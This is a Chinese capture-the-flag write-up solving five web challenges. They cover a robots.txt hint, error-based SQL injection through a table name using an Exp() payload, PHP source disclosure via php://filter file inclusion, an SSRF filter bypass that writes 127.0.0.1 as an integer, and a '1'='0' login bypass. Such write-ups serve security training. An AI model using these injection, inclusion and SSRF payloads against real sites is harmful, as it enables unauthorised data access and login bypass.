http://game.rootk.pw:51001/web1/
并不是簽到題!!!

my password: G00dPassw0rD不是flag。
Robots協(xié)議(也稱為爬蟲協(xié)議、機器人協(xié)議等)的全稱是“網(wǎng)絡(luò)爬蟲排除標(biāo)準(zhǔn)”(Robots Exclusion Protocol),網(wǎng)站通過Robots協(xié)議告訴搜索引擎哪些頁面可以抓取,哪些頁面不能抓取。
robots.txt文件是一個文本文件,使用任何一個常見的文本編輯器,比如Windows系統(tǒng)自帶的Notepad,就可以創(chuàng)建和編輯它。robots.txt是一個協(xié)議,而不是一個命令。robots.txt是搜索引擎中訪問網(wǎng)站的時候要查看的第一個文件。robots.txt文件告訴蜘蛛程序在服務(wù)器上什么文件是可以被查看的。
當(dāng)一個搜索蜘蛛訪問一個站點時,它會首先檢查該站點根目錄下是否存在robots.txt,如果存在,搜索機器人就會按照該文件中的內(nèi)容來確定訪問的范圍;如果該文件不存在,所有的搜索蜘蛛將能夠訪問網(wǎng)站上所有沒有被口令保護的頁面。建議,僅當(dāng)您的網(wǎng)站包含不希望被搜索引擎收錄的內(nèi)容時,才需要使用robots.txt文件。如果您希望搜索引擎收錄網(wǎng)站上所有內(nèi)容,請勿建立robots.txt文件。
如果將網(wǎng)站視為酒店里的一個房間,robots.txt就是主人在房間門口懸掛的“請勿打擾”或“歡迎打掃”的提示牌。這個文件告訴來訪的搜索引擎哪些房間可以進入和參觀,哪些房間因為存放貴重物品,或可能涉及住戶及訪客的隱私而不對搜索引擎開放。但robots.txt不是命令,也不是防火墻,如同守門人無法阻止竊賊等惡意闖入者。

繼續(xù)進入secret_flag_file.php:

說了要post剛才的password,拿到flag。

Done.
PS:使用FireFox的Hackbar插件,就能實現(xiàn);或者使用BurpSuite。
http://game.rootk.pw:51001/web2/
SQL注入+代碼審計。
首先看代碼:
/*這里說明表名是#web2#,并不包含flag。
mysql:
create table `#web2#`(
pid INT(11) NOT NULL AUTO_INCREMENT,
name VARCHAR(255) NOT NULL UNIQUE,
PRIMARY KEY(pid)
);
*/
php code:
$db = array(
'DB_HOST' => 'localhost',
'DB_USER' => 'web2',
'DB_PWD' => 'xxx',
'DB_CHAR' => 'utf8', #使用了utf8字符集的數(shù)據(jù)庫,說明寬字節(jié)注入沒戲
'DB_NAME' => 'xxx',
);
$conn = mysql_connect($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD']) or exit(mysql_error());
mysql_select_db($db['DB_NAME'], $conn) or exit(mysql_error());
mysql_query("SET NAMES " . $db['DB_CHAR']);
$data = addslashes($_GET['data']);
/*SQL語句被換行了,說明是尾部注釋(;或者#或者--)沒戲
$sql = "UPDATE `{$data}`
SET `name`='test'
WHERE pid=1";
echo $sql;
$res = mysql_query($sql) or exit(mysql_error());//說明需要構(gòu)造報錯型注入
mysql_close($conn);
//綜合幾點,只能在表名本身做手腳了
PS:推薦大家一個練習(xí)CTF的本地環(huán)境。
DVWA。
相關(guān)配置會在稍后整理出來。
因為搞這個浪費了不少時間然后發(fā)現(xiàn)其實是Apache有個坑,這貨特喵居然默認(rèn)沒有加載PHP模塊。知道這個之后一分鐘就搞定了。
先看update語句的一個姿勢:
mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| #web2# |
| guestbook |
| users |
+----------------+
3 rows in set (0.00 sec)
mysql> update `#web2#` t left join (select * from users) y on t.`name` = y.`user` SET `name` = 'test' where pid = 9999;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
說明表名部分可以做左連接查詢, 而紅色部分就是我們要做注入的參數(shù)。
需要觸發(fā)報錯注入,找一個payload,Exp(~(select * from (select user())a)) (詳情看CTF in web)
http://game.rootk.pw:51001/web2/
?data=%23web2%23` t left join (select Exp(~(select * from (select user())a))) y on 11 = y.`xxx
成功注入:

那剩下的步驟就是利用information_schema來獲取表名和列名, 最后:


Done.
http://game.rootk.pw:51001/web3/
http://game.rootk.pw:51001/web3/index.php?m=login
文件上傳漏洞。
php://filter/convert.base64_encode/resource=login
分析:
- 嘗試注入,貌似沒什么結(jié)果
- url是http://game.rootk.pw:51001/web3/index.php?m=login, m 一般就是module, 在php的MVC模式設(shè)計中, m = login 一般代表 include(login.php)
- 確認(rèn)login.php 存在,并且html代碼和index.php?m=login一致, 那就存在文件包含
- 利用php://filter/convert.base64-encode/resource=index實現(xiàn)讀取文件源碼(注意.php留著和去掉都要試)

base64解碼后,得到index.php:

- 同樣的方法得到login.php的代碼

- 發(fā)現(xiàn)了flag.php,同樣的方法讀取代碼

ASCII解碼就得到flag:

Done.
http://game.rootk.pw:51001/web4/
分析:
- 提示flag_file.php

- 進入flag_file.php, 看到127.0.0.1, 再留意之前index.php的參數(shù)url,不用多想,這一定是SSRF的利用

- 進一步驗證了是SSRF:

- 直接使用127.0.0.1 不行,可能做了關(guān)鍵字過濾

- 把127.0.0.1轉(zhuǎn)成整數(shù)或者localhost,成功拿到flag

Done.
http://game.rootk.pw:51001/web5/
一上來二話不說,萬能口令走起(用戶名和密碼都是1'='0),拿到flag
select * from users where username='1'='0' and password='1'='0'
username='1'='0' => "0"="0" => true
password='1'='0' => "0"="0" => true
mysql中字符串(非1)和1比較都等于0
當(dāng)然,也可以都寫'-'
MySQL黑魔法:隱式轉(zhuǎn)換。
之后會另開一文詳細(xì)介紹。